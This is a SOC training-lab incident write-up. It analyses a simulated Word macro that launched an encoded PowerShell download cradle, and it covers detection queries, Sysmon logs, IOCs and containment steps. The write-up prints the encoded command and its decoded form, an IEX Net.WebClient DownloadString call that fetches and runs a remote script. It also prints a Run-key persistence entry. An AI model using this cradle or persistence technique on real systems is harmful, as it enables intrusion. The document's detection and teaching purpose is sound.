Skip to main content
Back to all investigations
SOC-014·SOC·Severity: HighClassification: True PositiveEnvironment: Training Lab

Investigating Suspicious Encoded PowerShell Execution

Triage and root-cause analysis of an alert indicating an obfuscated Base64 PowerShell execution spawned by Microsoft Office in an isolated Windows endpoint.

EnvironmentWindows 11 Enterprise (Isolated SOC Lab)
ToolsSplunk Enterprise, Sysmon v15, CyberChef, VirusTotal, Procmon
MITRE ATT&CKT1059.001, T1204.002, T1105, T1547.001
Published2026-09-12
Safety & Simulation Disclosure

Environment: Training Lab — This investigation was performed in an isolated training environment. Indicators, systems, accounts, and other data shown here are simulated or sanitized unless otherwise stated.

INC-20260912-0841Queue: Tier 1 Triage Queue
P2 - HighTrue Positive — Weaponized Macro / Download Cradle Executed
Incident Summary: Workstation WKSTN-0442 initiated an obfuscated PowerShell download cradle pulling stage.ps1 from test IP 192.168.40.205 following user execution of an unsolicited Word attachment.
Actions Taken:
  • Verified process lineage: WINWORD.EXE -> cmd.exe -> powershell.exe with -EncodedCommand.
  • Decoded Base64 payload in CyberChef: identified Net.WebClient download cradle to 192.168.40.205:8080.
  • Confirmed established network socket via Sysmon Event 3 (4,812 bytes received).
  • Applied host network containment via PowerShell Netsh isolation script (restricting communication to SOC management subnet).
  • Quarantined dropped artifact C:\Users\jdoe\AppData\Local\Temp\update_check.vbs and purged HKCU Run persistence key (Sysmon 13).
Recommendation / Disposition: Escalated to Tier 2 / Incident Response for forensic disk image acquisition and fleet-wide M365 email purge for Invoice_Q3_9942.docx.
Analyst: Ian Job (Tier 1 SOC Analyst)

Executive Summary

A Tier-1 SIEM alert flagged an obfuscated PowerShell execution on workstation WKSTN-0442. Log analysis confirmed WINWORD.EXE spawned cmd.exe which in turn initiated powershell.exe with -EncodedCommand parameters. Decoding the Base64 payload revealed an attempt to download an external staging file and query local network adapters. The activity was classified as a True Positive simulated malicious macro execution.

Scenario & Trigger

A user in the Finance department opened an unsolicited email attachment labeled "Invoice_Q3_9942.docx". The document triggered a macro that executed a staged command. Telemetry was forwarded to the lab Splunk indexer via Windows Event Forwarding and Sysmon.

Suspicious Base64 Encoded PowerShell Command from Office Process2026-09-12 14:22:18 UTC
Source: Splunk Alerting Engine (Rule: WIN_SUSP_POWERSHELL_ENCODED)
index=endpoint_winevt EventCode=1 (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") (CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *") (ParentImage="*\\cmd.exe" OR ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe") | table _time, ComputerName, User, ParentImage, ParentCommandLine, CommandLine

Detection Logic & Queries (Splunk SPL & Microsoft Sentinel KQL)

Splunk SPL Query:
index=endpoint_winevt EventCode=1 (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") (CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *") (ParentImage="*\\cmd.exe" OR ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe") | table _time, ComputerName, User, ParentImage, ParentCommandLine, CommandLine
Microsoft Sentinel / Defender KQL Query:
DeviceProcessEvents | where FileName in~ ("powershell.exe", "pwsh.exe") | where ProcessCommandLine has_any ("-EncodedCommand", "-enc", "-ec") | where InitiatingProcessFileName in~ ("cmd.exe", "winword.exe", "excel.exe") | project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessCommandLine

Initial Evidence

  • Endpoint: WKSTN-0442.corp.local (192.168.40.108)
  • Account: corp\jdoe (Standard User)
  • Process: powershell.exe (PID: 6492)
  • Parent Process: cmd.exe (PID: 3812), spawned by WINWORD.EXE (PID: 5120)
  • Execution Parameter: -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=

Investigation Methodology & Narrative

Step 1: Retrieved Sysmon Event ID 1 (Process Create) for PID 6492 from Splunk index. Verified the parent-child relationship (WINWORD.EXE -> cmd.exe -> powershell.exe). Office executing script interpreters is anomalous for this user role.

Step 2: Extracted the base64 string and decoded the UTF-16LE payload in CyberChef. Decoded command: "IEX (New-Object Net.WebClient).DownloadString('http://192.168.40.205:8080/stage.ps1')".

Step 3: Correlated with Sysmon Event ID 3 (Network Connection). Powershell.exe initiated an outbound TCP connection to destination 192.168.40.205 on port 8080 at 14:22:20 UTC. State: Established. 4,812 bytes received.

Step 4: Checked host file system events (Sysmon Event ID 11). A script dropped a temporary file at C:\Users\jdoe\AppData\Local\Temp\update_check.vbs at 14:22:25 UTC.

Step 5: Correlated with Sysmon Event ID 13 (Registry Value Set). Identified HKCU\Software\Microsoft\Windows\CurrentVersion\Run key "SecurityHealthUpdate" set to execute update_check.vbs upon logon.

Step 6: Searched proxy logs for external egress to the staging IP. The IP is an internal test adversary node; no outbound internet exfiltration was detected.

Incident Timeline

Time (UTC)EventTelemetry SourceAnalyst Note
14:21:40 UTCWINWORD.EXE launched by user corp\jdoeSysmon Event ID 1User opened Invoice_Q3_9942.docx from Outlook attachment cache
14:22:15 UTCcmd.exe spawned by WINWORD.EXESysmon Event ID 1VBA macro automated execution without prompt (macros enabled in lab setting)
14:22:18 UTCpowershell.exe executed with -EncodedCommandSysmon Event ID 1Obfuscated payload attempting download cradle
14:22:20 UTCOutbound TCP connection to 192.168.40.205:8080Sysmon Event ID 3Downloaded stage.ps1 script payload (4,812 bytes)
14:22:25 UTCFile drop update_check.vbs in user AppData\Local\TempSysmon Event ID 11Secondary persistence script created
14:22:26 UTCRegistry Run Key Set: HKCU Run\SecurityHealthUpdateSysmon Event ID 13Autostart execution persistence established pointing to update_check.vbs
14:24:00 UTCSOC Analyst isolated host WKSTN-0442 from networkHost Isolation ScriptApplied Netsh firewall containment script blocking all egress except SOC management subnet

Indicators of Compromise (IOCs)

TypeObserved ValueContextReputation
IPv4192.168.40.205Staging web server hosting stage.ps1 (Lab Adversary IP)Suspicious
File NameInvoice_Q3_9942.docxMalicious Office document carrying weaponized macroMalicious
SHA-256755b3e12a2dc4745b15586a4c8cb43be809f4465875762dade02c6f7a847fafbVerified SHA-256 hash of dropped update_check.vbs artifactMalicious
URLhxxp://192.168.40.205:8080/stage.ps1Staged payload URL invoked by download cradleMalicious

Log Analysis & Telemetry Dissection

Sysmon Event ID 1 — Process CreateMicrosoft-Windows-Sysmon/Operational
EventCode=1
UtcTime: 2026-09-12 14:22:18.412
ProcessGuid: {87d3a014-22d2-66e2-7c01-000000000c00}
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=
CurrentDirectory: C:\Users\jdoe\Documents\
User: CORP\jdoe
ParentProcessGuid: {87d3a014-22ce-66e2-7b01-000000000c00}
ParentProcessId: 3812
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -NonInteractive ...

Analysis Note: Documents the child process creation with bypass execution policy and encoded command line parameters.

Sysmon Event ID 3 — Network Connection DetectedMicrosoft-Windows-Sysmon/Operational
EventCode=3
UtcTime: 2026-09-12 14:22:20.104
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
User: CORP\jdoe
Protocol: tcp
Initiated: true
SourceIp: 192.168.40.108
SourcePort: 51842
DestinationIp: 192.168.40.205
DestinationPort: 8080

Analysis Note: Proves powershell.exe established an active network socket to the adversary test server on port 8080.

Sysmon Event ID 13 — Registry Run Key Value SetMicrosoft-Windows-Sysmon/Operational
EventCode=13
UtcTime: 2026-09-12 14:22:26.018
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetObject: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthUpdate
Details: "wscript.exe C:\Users\jdoe\AppData\Local\Temp\update_check.vbs"

Analysis Note: Validates MITRE ATT&CK T1547.001 persistence via registry Run key pointing to dropped VBS stager.

MITRE ATT&CK Mapping

IDTechniqueTacticObserved Evidence
T1059.001 Command and Scripting Interpreter: PowerShellExecutionExecution of powershell.exe with -EncodedCommand parameter
T1204.002 User Execution: Malicious FileExecutionUser opened macro-enabled Word document from email cache
T1105 Ingress Tool TransferCommand and ControlNet.WebClient DownloadString pulling stage.ps1 from remote socket
T1547.001 Boot or Logon Autostart Execution: Registry Run KeysPersistenceRegistry Run key SecurityHealthUpdate set via Sysmon Event 13 pointing to update_check.vbs

Findings & Final Classification

The alert represents a verified True Positive. Execution of unauthorized download cradles via Office macros violates organization policy and matches typical initial access and execution tradecraft. The threat was contained before internal lateral movement could be established.

Recommended SOC Response & Hardening

  • •Isolate endpoint WKSTN-0442 from the corporate LAN via host firewall or containment script.
  • •Terminate process tree PID 6492 and associated child threads.
  • •Remove dropped artifact C:\Users\jdoe\AppData\Local\Temp\update_check.vbs and delete HKCU Run key.
  • •Block destination IP 192.168.40.205 at the perimeter firewall and web proxy.
  • •Purge Invoice_Q3_9942.docx from user mailboxes across Microsoft 365 Exchange.
  • •Enforce Attack Surface Reduction (ASR) rule "Block Office applications from creating child processes" (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A).

Key Takeaways

• Parent-child process trees provide immediate fidelity: Office documents should rarely spawn command shells.

• De-obfuscating Base64 commands using CyberChef is faster and safer than running them in any interactive terminal.

• Correlation between Process Create (Event ID 1) and Network Connection (Event ID 3) confirms whether a download cradle succeeded in pulling remote instructions.

References & Standards